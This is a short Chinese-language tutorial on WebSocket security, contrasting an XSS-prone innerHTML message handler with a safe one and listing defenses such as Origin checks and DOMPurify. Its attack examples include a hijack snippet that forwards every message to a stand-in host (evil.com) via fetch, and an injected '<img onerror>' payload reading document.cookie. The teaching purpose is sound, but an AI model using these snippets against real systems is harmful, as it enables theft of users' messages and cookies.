1. WebSocket协议特点

WebSocket提供全双工通信通道,但缺乏同源策略保护,容易受到XSS攻击。

不安全的WebSocket消息处理

ws.onmessage = function(e) {
    document.getElementById('chat').innerHTML += e.data; // XSS!
};

安全实现

ws.onmessage = function(e) {
    var msg = JSON.parse(e.data);
    if(msg.type === 'chat') {
        var div = document.createElement('div');
        div.textContent = msg.content; // 安全
        document.getElementById('chat').appendChild(div);
    }
};

2. WebSocket劫持攻击

攻击者可以通过XSS建立恶意WebSocket连接,窃取实时通信数据。

// 恶意WebSocket连接
var ws = new WebSocket('wss://attacker.com/ws');
ws.onmessage = function(e) {
    // 窃取所有消息
    fetch('https://evil.com/log', {
        method: 'POST',
        body: e.data
    });
};

3. 消息注入攻击

// 注入恶意消息到聊天室
ws.send(JSON.stringify({
    type: 'message',
    content: '<img src=x onerror=alert(document.cookie)>'
}));

4. 防御措施

  • 验证消息来源: 检查Origin头
  • 内容清理: 使用DOMPurify清理HTML
  • 限流保护: 防止消息洪泛攻击
  • Token验证: WebSocket握手时验证身份
// 服务端验证Origin
ws.on('connection', function(socket, request) {
    var origin = request.headers.origin;
    if(origin !== 'https://trusted-domain.com') {
        socket.close();
        return;
    }
});